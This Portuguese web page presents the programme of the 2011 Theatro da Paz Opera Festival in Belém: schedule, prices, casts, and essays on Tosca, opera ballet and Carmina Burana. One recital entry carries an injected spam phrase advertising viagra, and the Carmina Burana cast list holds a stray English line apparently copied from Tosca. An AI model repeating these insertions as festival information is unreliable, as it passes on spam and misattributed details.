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X Festival de Ópera do Theatro da Paz

Chega à décima edição com convicção de que o primeiro norte será devidamente retomado: exigência da qualidade acima de tudo.

10 anos depois…

Quando, em 2002, o Secretário de Cultura Paulo Chaves tomou a decisão, depois de passados mais de um século da história do Theatro da Paz, de promover um grande e inesquecível revival, retomando as temporadas líricas em nossa cidade, tive de pronto uma certeza: ninguém ousaria interromper um evento cultural de tamanha envergadura, mesmo que o leme da política alterasse seu curso.

Tal qual em 2002 – ocasião em que os ensaios se misturavam às últimas marteladas, ao odor nocivo das tintas e zumbidos de perfuradoras, no final do grande restauro ocorrido naquela época –, agora, caprichosamente, como que voltamos no tempo. De novo, toda a imensa troupe necessária para construir um espetáculo operístico, além de precisar deslocar os ensaios preliminares para os mais diversos cantos desta cidade, também teve de vencer as dificuldades, não as do esplêndido restauro de 2002, mas as impostas pelas obras atuais, que salvaram da ação destrutiva dos cupins o nosso maior patrimônio, o Theatro da Paz, vítima da incúria dos que dele cuidaram em passado recente.

A eleita para abertura do Festival 2011, a Tosca de Giacomo Puccini, teve sua estreia em 1900. A escolha não foi minha e sim do próprio Secretário ao visualizar o tema sempre atual dessa obra que, independentemente da trama romântica, possui um fundo político – com tortura para obter confissões delatoras e ideológicas, um julgamento sumário e sem direito de defesa –, culminando com fuzilamento covarde e pusilânime. Com esses e outros elementos dramáticos impactantes, Puccini, o maior gênio teatral italiano junto com Verdi, imprime à sua partitura uma tensão de tirar o fôlego.

A obra de encerramento, Carmina Burana de Carl Orff, estreada em 1937, é um desafio a que nos lançamos neste nosso encontro lírico de 2011. Escrita como cantata cênica, tornou-se célebre na sua versão de concerto e, ao executá-la na forma teatral, entramos no delicado terreno da aventura e da ousadia de dar vida a textos compostos por trovadores, monges lúbricos desgarrados, bêbados e vagabundos de toda espécie que cantam, poética e livremente, as mutações que envolvem a natureza e a interação que esta provoca nos homens. Outros espetáculos, entre eles “A Dança na Ópera”, inédito em nossa capital, aprofundam o nosso desejo de vencer desafios.

O mais importante de tudo para nós, entretanto, está no incentivo e no investimento que fazemos nos artistas paraenses que, neste festival, representam mais de 90% das forças atuantes no trabalho geral, entre eles, músicos, coristas, bailarinos, coreógrafos, cenógrafos, iluminadores, visagistas, figurinistas, atores e tantos outros que nos fazem acreditar no talento e na fé daqueles que, por meio da cultura, constroem um Pará melhor.

Gilberto Chaves – Coordenador Geral

 

PROGRAMAÇÃO

Tosca, de Giacomo Puccini
Theatro da Paz – dias 08,10 e 12 de novembro, às 20h.

Palestra: Sérgio Casoy fala sobre Puccini
Ministrada pelo especialista em ópera Sérgio Casoy
Theatro da Paz – dia 09 de novembro, às 19h.

A dança na ópera
Theatro da Paz  – dias 16 e 17 de novembro, às 20h.

Master Class de Técnica Vocal
Ministrada pela soprano Laura de Souza
Theatro da Paz – dia 21 de novembro, às 16h.

Recital lírico
Teatro Maria Sylvia Nunes – dia 22 de novembro, às 20h.

Oficina de figurino
Ministrada pela figurinista Elena Toscano
Theatro da Paz – dia 23 de novembro, às 16h.

Recital operístico
Igreja de Santo Alexandre – dia 23 de novembro, às 20h.

Árias e canções
Igreja de Santo Alexandre – dia 24 de novembro, às 18h.

Oficina de iluminação cênica
Ministrada pelo iluminador Lucas Gonçalves
Theatro da Paz – dia 25 de novembro, às 16h.

Carmina Burana, de Carl Orff
Theatro da Paz – dias 26, 27 e 29 de novembro, às 20h.

Concerto de encerramento
Theatro da Paz – dia 03 de dezembro, às 20h.

 

INGRESSOS


– Para Tosca e Carmina Burana

Platéia, Varanda, Frisa e Camarote de 1ª ………….. R$ 50,00
Camarote de 2ª ……………………………………………. R$ 40,00
Galeria ……………………………………………………….. R$ 30,00
Paraíso ………………………………………………………. R$ 20,00

 

– Para “A Dança na Ópera”

Platéia, Varanda, Frisa, Camarote de 1ª …………… R$ 30,00
Camarote de 2ª e Galeria ………………………………. R$ 20,00
Paraíso ………………………………………………………. R$ 10,00

– Os não-residentes em Belém interessados em adquirir ingressos devem solicitar orientação para o email bilheteriatp@supridados.com.br

– Para os espetáculos gratuitos (Recital Lírico (22 de novembro no teatro Maria Sylvia Nunes), Recital Operístico(23 de novembro, na Igreja de Santo Alexandre)  e Árias e Canções (24 de novembro,na Igreja de Santo Alexandre), não há necessidade de retirada antecipada de ingressos. É só chegar no local, entrar e sentar onde houver lugar.  A palestra Sérgio Casoy fala sobre Puccini (09 de novembro) também será grátis e de acesso livre (sem necessidade de retirada antecipada de ingressos).

– Para as oficinas (figurino, iluminação cênica e master class de técnica vocal), também gratuitas, as pessoas deverão se inscrever no próprio teatro ou pelos  telefones (91) 4009 8752 e (91) 4009 8754.

– A distribuição de ingressos da cota de gratuidade aos Idosos e Portadores de Necessidades Especiais (PNE) ocorrerá sempre no primeiro dia da temporada de cada espetáculo, a partir das 09h. Será entregue um ingresso por idoso, mediante apresentação da carteira da Secult  ou de identidade. Os PNE deverão apresentar a carteira da APPD.

– Para pagar meia, tanto no ato da compra do ingresso quanto  no dia do espetáculo, o estudante deverá apresentar carteira estudantil ou comprovante de matrícula, e os idosos, a carteira de identidade.

 

RELEASES DOS EVENTOS

 

TOSCA Ópera em três atos – dias 08,10 e 12 de novembro – Theatro da Paz – 20h.

– Música – Giacomo Puccini (1858-1924)
– Libreto  – Luigi Illica e Giuseppe Giacosa
– Baseado no drama de Victorien Sardou

– Direção Musical e Regência  – Maestro Carlos Moreno
– Regente do Coro –  Maestro Vanildo Monteiro
– Direção Cênica – Mauro Wrona
– Figurinos –  Elena Toscano
– Cenografia –  Fernando Pessoa
– Iluminação Cênica – Lucas Gonçalves e Rubens Almeida
– Visagismo –  Omar Júnior
– Supervisão Artística –  Gilberto Chaves

– Assistente de Direção Cênica –  Milton Monte
– Assistente de Figurinos e Confecção –  Hélio Alvarez
– Assistente de Iluminação Cênica – Álvaro Júnior  e Jorge Pantaleão
– Direção de Palco –  Cláudio Bastos
– Pianistas correpetidores e Maestros internos –  Ana Maria Adade e Adriana Azulay
– Maestro da Banda Interna –  Agostinho Júnior
– Maestro Interno de Iluminação –  Humberto Azulay
– Regente preparadora do Coro Infantil –  Elizety Rêgo
– Legendas –  Gilda Maia

 

Elenco

– Floria Tosca, célebre cantora – Silviane Bellato – soprano
– Mario Cavaradossi, pintor – Eric Herrero – tenor
– Baron Scarpia, chefe da polícia – Rodrigo Esteves – barítono
– Cesare Angelotti, ex-cônsul da República Romana – Jefferson Luz – baixo
– Sacristão – Saulo Javan – barítono
– Spoletta, agente da polícia – Antônio Wilson Azevedo – tenor
– Sciarrone, sargento de polícia – Ytanaã Figueiredo – barítono
– Carcereiro – Raimundo Mira – baixo
– Pastor – Thaina Souza – soprano
– Figurantes – soldados, policiais, coroinhas, nobres e povo em geral

– Coral Lírico do Festival de Ópera do Theatro da Paz
Orquestra Sinfônica do Theatro da Paz
– Coral Infanto-juvenil Vale Música

 

AS HARMONIAS RECÔNDITAS DE PUCCINI

Sérgio Casoy

Recondita armonia di bellezze diverse!
È bruna Floria, l’ardente amante mia…
E te, beltade ignota, cinta di chiome bionde!
Tu azzurro hai l’occhio, Tosca ha l’occhio nero![1]

Em fevereiro de 1889, quando trabalhavam juntos nos retoques finais de Edgar, a segunda ópera de Giacomo Puccini, o libretista Ferdinando Fontana convidou seu colega compositor para relaxar um pouco e ir com ele assistir a uma das maiores atrizes de teatro da Europa. Sarah Bernhardt, que andava em turnê pela Itália, se apresentava naquela noite no Teatro Filodrammatico de Milão em La Tosca, drama escrito especialmente para ela pelo grande dramaturgo francês Victorien Sardou.

Diante do desempenho de Sarah e da riqueza de possibilidades de transformação da peça em ópera, Puccini, apesar de não entender quase nada de francês, ficou de boca aberta e queixo caído. Gostou tanto que não hesitou, dias depois, em deixar Milão e tomar um trem para Turim, para rever La Bernhardt em La Tosca. Duas semanas após a estreia de Edgar, Puccini, ardendo de impaciência, escreveu a seu editor Ricordi, implorando que ele negociasse os direitos do drama com Sardou:

7 de maio de 1889

Caríssimo Sr. Giulio:

Após dois ou três dias de ócio campestre para repousar, percebo que o desejo de trabalhar, em vez de ter desaparecido, retorna ainda mais vigoroso do que antes… penso na Tosca! Eu lhe imploro fazer tudo o que for preciso para obter a permissão de Sardou antes de abandonar a ideia, o que me doeria muitíssimo, porque nessa Tosca vejo a ópera perfeita para mim, de proporções não excessivas nem como espetáculo decorativo nem de forma a dar espaço à habitual superabundância musical.

Ricordi não hesitou em atender ao seu compositor favorito. Mas as negociações com Sardou foram extremamente difíceis, e a permissão só foi concedida, após uma árdua discussão sobre valores, dois anos depois, quando Puccini estava completamente envolvido pela composição da ópera que seria seu primeiro grande e real sucesso, Manon Lescaut, estreada em 1893.  Volúvel como era, ele parecia ter abandonado a ideia de compor Tosca, pois mesmo antes de terminar Manon, já havia decidido que sua ópera seguinte seria La Bohème. Ricordi, entretanto, que pagara muito a Sardou para querer desistir de Tosca, já que não tinha Puccini, tratou de achar outro compositor. Encomendou a ópera de Alberto Franchetti, também ligado à sua firma, confiando o texto ao mais ativo dos libretistas do momento, o poeta Luigi Illica.

Em outubro de 1894 em Paris, Sardou abriu as portas de sua casa para algumas visitas ilustres. Giuseppe Verdi, acompanhado de Giulio Ricordi e de Alberto Franchetti, lá vieram para ouvir Illica fazer a leitura da primeira versão do libreto da Tosca. Puccini, que trabalhava em La Bohème, ficou sabendo dessa reunião e do grande entusiasmo de Verdi pelo argumento. Foi aí que o espírito de competição de Puccini, que era enorme, se manifestou todas as forças, e ele implorou a Ricordi para devolver-lhe a Tosca. Usando um misto de sedução e intimidação, o editor conseguiu fazer com que Franchetti rescindisse o contrato.

Puccini iniciou a composição em agosto de 1896 e a terminou, segundo anotou na partitura autógrafa, em sua casa em Torre del Lago, a “29 de setembro de 1899 às 4:15 da manhã”.

Mas havia mais um motivo a estimular Puccini a compor Tosca naquele momento particular. Em 1890, Pietro Mascagni, antigo colega de quarto de Puccini nos tempos do Conservatório de Milão, estreara sua primeira ópera, Cavalleria Rusticana, criando com ela o movimento verista [2] no teatro lírico italiano, dentro do qual óperas como Pagliacci de Leoncavallo e Andrea Chénier de Giordano, além da obra de Mascagni, adoradas pelo público, trouxeram fama e fortuna a seus autores.

Puccini, bastante atento a esse mercado de enorme concorrência, apesar do recente sucesso de La Bohème, percebia que esse era o momento correto para sua primeira experiência verista. E acertou em cheio, porque poucas óperas são mais veristas do que Tosca: há uma tentativa de estupro que é respondida com um assassinato a punhaladas, dois suicídios (embora um seja fora de cena) e um fuzilamento. A ópera termina literalmente por falta de personagens principais, todos mortos. Só faltou, como comentou Puccini de brincadeira numa carta “matarmos o pobre Spoletta [3]”.

Para o libreto, reuniu-se a mesma dupla que trabalhara com o compositor em La Bohème.  Luigi Illica ficou encarregado de reduzir a enorme obra de cinco atos de Sardou para o formato de uma ópera de duração normal de três atos e estruturas as cenas e suas divisões. A Giuseppe Giacosa, um dos mais respeitados poetas e dramaturgos de Milão, caberia, como de costume, versificar o texto preparado por Illica.

Puccini insistiu num libreto direto, sem tramas paralelas ou desvios periféricos. Illica, realizando um pequeno milagre, abandonou toda a pesquisa histórica que Sardou tanto amava, livrou-se de dezenas de personagens e criou um libreto que lembra um roteiro de filme de suspense, formado principalmente por uma rápida sucessão de episódios de impacto nos quais as consequências da tensão sexual nascida dos encontros tanto de Tosca com Mario quanto dela com Scarpia são o fio condutor da narrativa que irá terminar em tragédia. E esse ambiente de erotismo, já presente, embora em contextos diversos, nas suas duas óperas anteriores, sempre estimulava fortemente a fantasia criativa de Puccini, pois refletia a própria sua personalidade.

Com a imaginação musical correndo solta, Puccini realiza, em Tosca, uma obra-prima. Além de a parte vocal ser memorável, tanto nos solos quanto nos conjuntos, a música sinfônica desta ópera, com seu jogo timbrístico entre instrumentos, orquestração primorosa e melodias de alta inspiração, não se limita a acompanhar as vozes: é parte integrante da narrativa, ajuda a contar a história e em certos momentos o faz sozinho, como no final do segundo ato, nos instantes que se sucedem à morte de Scarpia, quando Tosca, sem pronunciar palavra se move pelo palco ao som da orquestra até a queda da cortina.

A música que praticamente só se interrompe nos finais de cada ato, forma um tecido contínuo, fluente que acompanha a velocidade do texto, sem interrupções. Mas, operista italiano até a raiz dos cabelos, Puccini tem a sensibilidade de saber o momento justo de inserir as árias, aquele momento tão esperado e sempre tão caro ao público peninsular. E as cria magníficas: tanto as duas árias do tenor, Recondita Armonia e E Lucevan le Stelle, como a do soprano, Vissi d’Arte, ganharam vida independente e figuram desde a estreia entre as mais executadas em recitais de canto.

Estreada em Roma a 14 de janeiro de 1900, Tosca acumula mais de um século de aplausos ao redor de todo o planeta. Todos os públicos do mundo continuam, sem esmorecimento, a amar tanto a protagonista quanto as harmonias recônditas que Puccini semeou em seus cantares.

___________________________________

[1] Harmonia oculta de diferentes belezas / Floria, minha ardente amante, é morena / E tu, beldade desconhecida, envolta por um cabeleira loira / tu tens os olhos azuis, Tosca tem os olhos negros!

[2] O movimento verista ou verismo (palavra que vem de vero=verdade) equivale a um realismo cru e por vezes brutal na ópera italiana, enfatizando as paixões primárias dos seres humanos (ódio, inveja, desejo carnal, ciúme), na maioria das vezes – mas não todas – ambientadas entre gente pobre de bairros periféricos ou de aldeias miseráveis. Assassinatos e mortes violentas em cena, antes evitados, são mostrados, no verismo, com toda a sua brutalidade.

[3] Personagem secundário, policial a serviço de Scarpia.

 

TOSCA – SINOPSE
Sérgio Casoy

A ópera se passa em Roma em 17 de junho de 1800, três dias após a batalha de Marengo, na qual Napoleão Bonaparte derrotou os exércitos austríacos.

Ato I

Na igreja de Sant’Andrea della Valle. Tendo escapado da prisão, Cesare Angelotti veio se esconder na igreja, na capela particular da marquesa Attavanti, sua irmã. Conforme combinado, ela deixou roupas femininas na capela para que ele pudesse fugir de Roma disfarçado. Depois que Angelotti se esconde, entra o sacristão. Vem limpar os pincéis e trazer o almoço do pintor Mario Cavaradossi, que trabalha num quadro de uma Madonna para a igreja. Ele se inspirou no rosto da linda mulher que viu rezando na véspera, sem saber que era a própria marquesa Attavanti.

Quando o sacristão deixa a cena, Angelotti abandona o esconderijo e pede ajuda a Mario, seu velho amigo. Neste instante ouve-se a voz da amante de Mario, a famosa cantora lírica Tosca. Cavaradossi dá seu cesto de comida a Angelotti e faz com que ele se esconda de novo para Tosca não o veja. Tosca, ciumenta, reconhece a Attavanti no quadro, mas Mario a tranquiliza, dizendo que só a viu de longe, não a conhece.

Tosca lhe diz que se apresentará nessa noite em uma cantata em comemoração à derrota de Napoleão – as verdadeiras notícias sobre a vitória de Bonaparte em Marengo ainda não chegaram a Roma –, e depois poderão passar a noite juntos em uma villa que Cavaradossi possui nos arredores da cidade. Tosca parte. Ouve-se o canhão do castelo que denuncia a fuga de Angelotti. Cavaradossi, querendo proteger o amigo, sai com ele para escondê-lo num quarto secreto no poço de sua villa.

Entra a seguir o sinistro Barão Scarpia, temido chefe da polícia política. Interroga o sacristão e encontra um leque com o brasão dos Attavanti, que Angelotti perdeu na fuga. Vendo o rosto da Attavanti no quadro, imediatamente percebe o que aconteceu. Tosca retorna, para avisar que os planos mudaram. Scarpia, que deseja Tosca há muito tempo, estimula seu ciúme, mostrando o leque e levando-a a crer que Mario estava com a Attavanti na capela quando foi surpreendido e fugiu com pressa. Tosca, enfurecida, sai correndo até a villa para surpreender seu amante. É o que Scarpia queria: manda seus esbirros seguirem Tosca à distância. Ela os levará até Cavaradossi e Angelotti.

Ato II

No Palazzo Farnese. Scarpia está jantando em seu gabinete. Ouve a voz de Tosca, executando sua cantata para a rainha de Nápoles em outra ala do castelo, e decide convocá-la a seu gabinete. Spoletta, um de seus homens, retorna, diz que não encontrou Angelotti, mas que Cavaradossi certamente sabe onde o fugitivo está, porque riu deles o tempo todo. Spoletta trouxe o pintor para ser interrogado. Submetido à tortura, ele não diz uma palavra.

Nesse meio tempo chega Tosca, que não suporta o sofrimento do amante e revela o segredo. Um guarda entra e comunica que o verdadeiro vencedor de Marengo é Bonaparte. Cavaradossi exulta com a notícia, diz que os dias dos tiranos estão contados. Scarpia o condena à morte por enforcamento e manda levá-lo para o Castel Sant’Angelo para ser executado de madrugada. Tosca e Scarpia ficam a sós. Ela tenta suborná-lo. Scarpia responde que nesse caso só existe um preço: ela mesma. Se Tosca se entregar a ele, Cavaradossi viverá. Enojada, ela concorda. Scarpia instrui Spoletta a fuzilar Cavaradossi em vez de enforcá-lo, “como fizemos com o Conde Palmieri”.

Na verdade, depois de se aproveitar de Tosca, o sádico Scarpia pretende realmente matar Cavaradossi, mas leva Tosca a pensar que as armas serão carregadas com tiros de festim. Tosca exige de Scarpia um salvo-conduto para fugir de Roma com o amante. No limite das forças, humilhada, enquanto Scarpia escreve Tosca nota uma faca em cima da mesa onde o barão jantara. Quando o sinistro policial vem abraçá-la, Tosca, que escondera a faca, apunhala-o mortalmente e foge dali.

Ato III

Na fortaleza do Castel Sant’Angelo. Amanhece. Cavaradossi pede, em troca de seu anel, papel e tinta ao carcereiro. Tenta escrever uma carta a Tosca, mas se perde nas lembranças. Entra Tosca, com o salvo-conduto e narra o ocorrido. Instrui Cavaradossi como deve cair depois dos tiros de festim. Cavaradossi é levado diante do pelotão e fuzilado. Tosca custa um pouco a perceber que seu amante está realmente morto. Nesse instante, os homens de Scarpia, após descobrirem o cadáver do barão, vêm correndo atrás de Tosca. Mas ela não se deixa apanhar: suicida-se, atirando-se do alto do Castel Sant’Angelo.

 

A DANÇA NA ÓPERA – 16 e 17 de novembro – Theatro da Paz – 20 h.

Orquestra Jovem Vale Música
– Regência –  Maestro Miguel Campos Neto
Cia de Dança Ana Unger
– Direção Geral –  Ana Unger
– Bailarinos convidados – Marília Guilharducci, Pamela Valim, Welton Nascimbene
– Coreografias –  Ana Unger, Aline Dias, Diane dos Santos, Guivalde de Almeida
– Figurino – Hélio Alvarez
– Iluminação Cênica –  Lucas Gonçalves e Rubens Almeida


A. Carlos Gomes
(1836-1896)
Il Guarany: Ballo
Il Guarany: Abertura

Pietro Mascagni (1863-1945)
Cavalleria Rusticana: Intermezzo

Cristoph W. Gluck (1714-1787)
Orphée et Eurydice: Danse des Esprits Bienheureux

Jules Massenet (1842-1912)
Thaïs: Intermezzo

Charles Gounod (1818-1893)
Faust: Nuit de Walpurgis

Amilcare Ponchielli (1834-1886)
La Gioconda: Danza delle Ore

Gioachino Rossini (1792-1868)
La Cambiale di Matrimonio: Abertura

Wolfgang A. Mozart (1756-1791)
Die Zauberflöte: Abertura

Camille Saint-Saëns (1835-1921)
Samson et Dalila: Bachanalle

 

A DANÇA NA ÓPERA
Ana Unger

A ópera teve seu berço na Itália. Mas, a tradição de inserir uma ou mais cenas de balé neste tipo de espetáculo surgiu na França, onde o canto foi incorporado aos suntuosos espetáculos de dança, em voga no final do século XVII.

Na corte de Luiz XIV (1638-1715), o ballet foi muito apreciado, sendo ele próprio um exímio bailarino, que ganhou notoriedade com sua entrada apoteótica como “Apolo”, o deus do sol, no ato final do balé La Nuit, apresentado em 1632, o que lhe valeu o apelido de Rei-Sol. Os compositores mais importantes para o desenvolvimento do ballet na ópera foram Lully e Rameau.

A consagração do estilo grand-opéra dá-se em meados do século XIX, quando o balé na ópera francesa atinge o seu apogeu. Surgido na Paris de 1830 o estilo, que permaneceu em uso por cinqüenta anos, caracterizava-se por sua grandiosidade e pomposidade; sendo a inserção do balé um elemento obrigatório.

A importância da dança na história do teatro lírico levou os que coordenam o X Festival de Ópera do Theatro da Paz, edição 2011, a inserir na programação, uma noite especialmente dedicada a esta temática, apresentando cinco consagrados balés. Em 133 anos de existência, é a primeira vez que o palco do Theatro da Paz os encena com este formato de antologia, que com a participação da Orquestra Sinfônica, assume especial relevância para os bailarinos profissionais de nosso Estado.

Integrando o Festival de Ópera do Theatro da Paz desde a sua primeira edição, a Companhia de Dança “Ana Unger” reconhece a importante contribuição que esta parceria encerra, pois, ao escolher óperas que contém balés para encená-las neste grande evento, ao levar ao público a luz de um espetáculo de ballet-ópera no Festival 2011, a Secult empresta à dança uma prestigiosa posição no cenário artístico de nossa cidade.

 

RECITAL LÍRICO –  22 de novembro – Teatro Maria Sylvia Nunes – Estação das Docas – 20h.

– Orquestra Jovem Vale Música
Maestro Philippe Forget – regente
– Iluminação Cênica –  Lucas Gonçalves e Rubens Almeida

 

Francesco Ciléa (1866-1950)
Adriana Lecouvreur: Io son l´umile ancella
– Alpha de Oliveira, soprano

Gaetano Donizetti (1797-1848)
L’Elisir d’amore: Una furtiva lagrima
– Tiago Costa, tenor

Don Pasquale: Tornami a dir che m’ami
– Tiago Costa, tenor
– Ione Carvalho, soprano

Giuseppe Verdi (1813-1901)
Rigoletto: La donna è mobile
– Márcio Carvalho, tenor

Giacomo  Puccini (1858-1924)
Tosca: Vissi d´arte
– Patrícia Oliveira, soprano

Camille  Saint-Saëns (1835-1921)
Samson et Dalila: Bachanalle
– Orquestra Jovem Vale Música

Georges Bizet (1838-1875)
Carmen: Habanera
– Nieide Evangelista, meio-soprano

Giuseppe Verdi (1813-1901)
Il Trovatore: Tacea la notte placida
– Alpha de Oliveira, soprano

Giacomo Puccini best priced uk viagra (1858-1924)
La Bohème: Quando m´en vo
– Ione Carvalho, soprano

Giuseppe Verdi (1813-1901)
La Traviata: Brindise
– Márcio Carvalho, tenor
– Patrícia Oliveira, soprano

 

RECITAL OPERÍSTICO – 23 de novembro – Igreja de Santo Alexandre – 20h.

Laura de Souza, soprano
Rodolfo Giugliani, barítono
Paulo José Campos de Melo, piano
– Iluminação Cênica – Lucas Gonçalves e Rubens Almeida


Giuseppe Verdi
(1813-1901)
In Solitaria Stanza

Giuseppe Verdi (1813-1901)
Macbeth: Pietà, rispetto, amore

Francesco Ciléa (1866-1950)
Adriana Lecouvreur: Ecco, respiro appena

Giuseppe Verdi (1813-1901)
Un Ballo in maschera: Eri tu

Umberto Giordano (1867-1948)
Andrea Chernier: La mamma morta

Umberto Giordano (1867-1948)
Andrea Chénier: Nemico della patria

Pietro Mascagni (1863-1945)
Cavalleria Rusticana: Ad essi non perdono

Giacomo Puccini (1858-1924)
Gianni Schicchi: O mio babbino caro

Giuseppe Verdi (1813-1901)
La Traviata: Di provenza il mar

Richard Wagner (1813-1883)
Tannhäuser: Dich Teure Halle

Ruggero Leoncavallo (1857-1919)
Pagliacci: Prologo

Giuseppe Verdi (1813-1901)
Il Trovatore: Mira d’ accerbe lagrime

 

ÁRIAS E CANÇÕES –  24 de novembro – Igreja de Santo Alexandre – 18h.

Luciana Tavares, soprano
David Martins, piano
– Legendas –  Gilda Maia
– Iluminação Cênica –  Lucas Gonçalves e Rubens Almeida


Arrigo Boito
(1842-1918)
Mephistotofeles: L´altra notte in fondo al mare

Giacomo Puccini (1858-1924)
Manon Lescaut: In quelle trine morbide
Turandot: Tu che di gel sei cinta

Pauline Viardot (1821-1910)
Hai Lully
Les filles de Cadix

Hector Berlioz (1803-1869)
Ouvre ton coeur

Richard Strauss (1864-1949)
Allerseelen
Zueignung

William Bolcom (1938-)
4 Cabaret Songs
I – Over the piano
II – Black Max
III – Amor
IV – George

Charles Ives (1874-1954)
Memories

Aaron Copland (1900-1990)
Heart, we will forget him
I bought me a cat

George Gershwin (1898-1937)
Maybe

 

CARMINA BURANA – cantata cênica  – 26, 27 e 29 de novembro – Theatro da Paz  –  20h.

Música –  Carl Orff  (1895-1982)
Texto –  Codex Latinus Monacensis

– Direção Musical e Regência – Maestro Miguel Campos Neto
– Regente do Coro – Maestro Vanildo Monteiro
– Direção Cênica –  Maria Sylvia Nunes
– Coreografia e Direção de movimento – Fábio de Mello
– Figurinos – Elena Toscano
– Cenografia – Fernando Pessoa
– Iluminação Cênica – Lucas Gonçalves e Rubens Almeida
– Visagismo –  Omar Júnior
– Supervisão Artística –  Gilberto Chaves

Elenco

– Barítono – Federico Sanguinetti
– Soprano – Lys Nardoto
– Tenor – Flávio Leite
– Atriz  –  Gabriella Florenzano
– Soldiers, police agents, altar boys, noblemen and women, townsfolk, artisans – Cia de Danças Clara Pinto
Palhaços Trovadores

– Coral Lírico do Festival de Ópera do Theatro da Paz
– Orquestra Sinfônica do Theatro da Paz
Coral Infanto-juvenil Vale Música

– Assistente de Direção Cênica –  Marton  Maués
– Assistente de Figurinos e Confecção  Hélio Alvarez
-Assistente de Iluminação Cênica –  Álvaro Júnior  e Jorge Pantaleão
– Direção de Palco –  Cláudio Bastos
– Pianistas correpetidores e Maestros internos – Humberto Azulay e Adriana Azulay
– Maestro Interno de Iluminação –  Humberto Azulay
– Regente preparadora do Coro Infantil –  Elizety Rêgo
– Legendas  Gilda Maia
– Imagens –  Henrique Charles Corrêa

 

A OBRA
Maria Sylvia Nunes

Quando em 1937, na Ópera de Frankfurt, sob a regência de Bertil Wetzelsberger, foi apresentada pela primeira vez “Carmina Burana”, de Carl Orff, em versão cênica – “Cantos profanos para solos e coros acompanhados de instrumentos e imagens mágicas”, começou aí sua carreira triunfal que se espalhou pelo mundo, através dos anos e tornou popular também o nome do seu autor.

Carl Orff teve acesso a uma antologia de cantos e poemas medievais, escritos em latim vulgar e em alemão primitivo, encontrada no convento de Benedikbeuren e proveniente da Styria ou do sul do Tirol e compilados por pelo menos três copistas de documentos, provavelmente datados a partir do século XIII. Com a secularização sucessiva dos conventos, o manuscrito foi parar, em 1806, na Biblioteca Estadual da Baviera, em Munique.

O manuscrito compõe-se de 200 textos escritos na maior parte em latim, ou na mistura do latim tardio com outras línguas, como o alemão e o francês. São canções de amor, sátiras à depravação do clero, louvor ao amor carnal, aos prazeres da bebida, ao jogo e também cantos de louvor à Virgem, tudo sob a sombra da roda da fortuna, figura importante na mitologia medieval, símbolo da inconstância, da justiça, da passagem do tempo e da morte.

Os textos foram escritos por “goliardos”, monges itinerantes que tendo abandonado os conventos em que viviam, seguiam “como folhas levadas pelo vento” os caminhos que levavam às feiras, praças e tabernas onde cantavam, jogavam, bebiam e entregavam-se aos prazeres do mundo que haviam deixado ao entrarem na vida monacal. As canções são anônimas. Apenas é conhecido o nome com o qual se assinava o poeta que escreveu a canção que inicia a “Carmina Burana”: o arque-poeta de Colônia.

Orff selecionou algumas canções e agrupou-as em 24 números sob os nomes de:
– Fortuna Imperatrix Mundi
– Primo Vere
– In Taberna
– Cour d´ Amour

Uma parte dos poemas do manuscrito da “Carmina Burana” tem melodias anotadas sem neumas e sem linhas de altura, o que torna difícil sua leitura. Por isso Orff escreveu que foi levado “pelo ritmo arrebatador e o caráter do imagismo destas poesias e não por … pela musicalidade rica de vogais e a extraordinária essencialidade da língua latina”.

A música de Orff é toda baseada na tonalidade, no ritmo, nos cantos estróficos, conservando um estilo tradicional e com toques populares. Se comparada aos compositores do mesmo século XX, com Schönberg, Berg e Webern, parece e foi acusada de reacionária.

Entretanto, Orff simplificando sua linguagem sonora, usando elementos arcaizantes, conseguiu dar ao conjunto tom de culto obscuro e primitivo por vezes, e outras vezes um retrato bastante bem humorado da vida de “cocagne”. Tudo isso com aquela ideia que inspirou os antigos, “o tempo foge” e a Roda da Fortuna vira triturando o tempo e as vidas humanas. O melhor amor é o que une corpo e alma.

Assim, com sua magia e encanto, “Carmina Burana” vem se mantendo capaz de deliciar as plateias do século XXI.

 

CONCERTO DE ENCERRAMENTO – 03 de dezembro – Em frente ao Theatro da Paz – 20h.

– Orquestra Sinfônica do Theatro da Paz
– Orquestra Jovem Vale Música
– Regente – Maestro Miguel Campos Neto
– Coral Lírico do Festival de Ópera do Theatro da Paz
– Regente – Maestro Vanildo Monteiro
– Cia de Dança – Ana Unger
– Coreografia –  Ana Unger
– Direção Artística –  Gilberto Chaves e Mauro Wrona
– Iluminação Cênica  – Lucas Gonçalves e Rubens Almeida


Carl Orff
(1895-1982)
Carmina Burana:  O Fortuna

Francesco Ciléa (1866-1950)
Adriana Lecouvreur :  Io son l´umile ancella
– Alpha de Oliveira, soprano

Camille Saint-Saëns (1835-1921)
Samson et Dalila: Bachanalle

Giacomo  Puccini (1858-1924)
Tosca: E lucevan le stelle
– Márcio Carvalho, tenor

Giacomo  Puccini (1858-1924)
Tosca:  Vissi d´arte
– Patrícia Oliveira, soprano

Giacomo  Puccini (1858-1924)
Tosca: Te Deum
– Federico Sanguinetti, barítono

Ruggero Leoncavallo (1857-1919)
Pagliacci: Serenata
– Tiago Costa, tenor

Giacomo  Puccini (1858-1924)
La Bohème: Quando m’em vo
– Ione Carvalho, soprano

Wolfgang A. Mozart (1756-1791)
Die Zauberflöte: Der hölle rache
– Lys Nardoto, soprano

A. Carlos Gomes (1836-1896)
Il Guarany: Ballo

Carl Orff (1895-1982)
Carmina Burana: O Trutina
Federico Sanguinetti, barítono
– Lys Nardoto, soprano

 

ADMINISTRAÇÃO

– Governo do Estado do Pará – Simão Robison de Oliveira Jatene
– Secretaria Especial de Promoção Social – Nílson Pinto de Oliveira
– Secretaria de Estado de Cultura – Paulo Roberto Chaves Fernandes
– Secretaria Adjunta – Ana Cristina Klautau Leite Chaves
– Sistema Integrado de Teatros – Maria Sylvia Nunes
– Direção do Theatro da Paz – Ana Cláudia Moraes
– Gerência de Música – João Augusto Ó de Almeida
– Academia Paraense de Música – Dóris Azevedo
– Direção Artística – Gilberto Chaves e Mauro Wrona

 

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6 Comments

  1. Belíssima programação! Que todos os artistas, atuem com o coração. Façam musica que é do que estamos precisando nesse país e cuidado com os atravessadores culturais, que pagam mal e lucram em cima dos artistas.

  2. Foi desfeita esta dúvida pela organização do Festival e já foi alterado o texto no site como segue:
    – Para os espetáculos gratuitos (Recital Lírico (22 de novembro no teatro Maria Sylvia Nunes), Recital Operístico(23 de novembro, na Igreja de Santo Alexandre) e Árias e Canções (24 de novembro,na Igreja de Santo Alexandre), não há necessidade de retirada antecipada de ingressos. É só chegar no local, entrar e sentar onde houver lugar. A palestra Sérgio Casoy fala sobre Puccini (09 de novembro) também será grátis e de acesso livre (sem necessidade de retirada antecipada de ingressos).
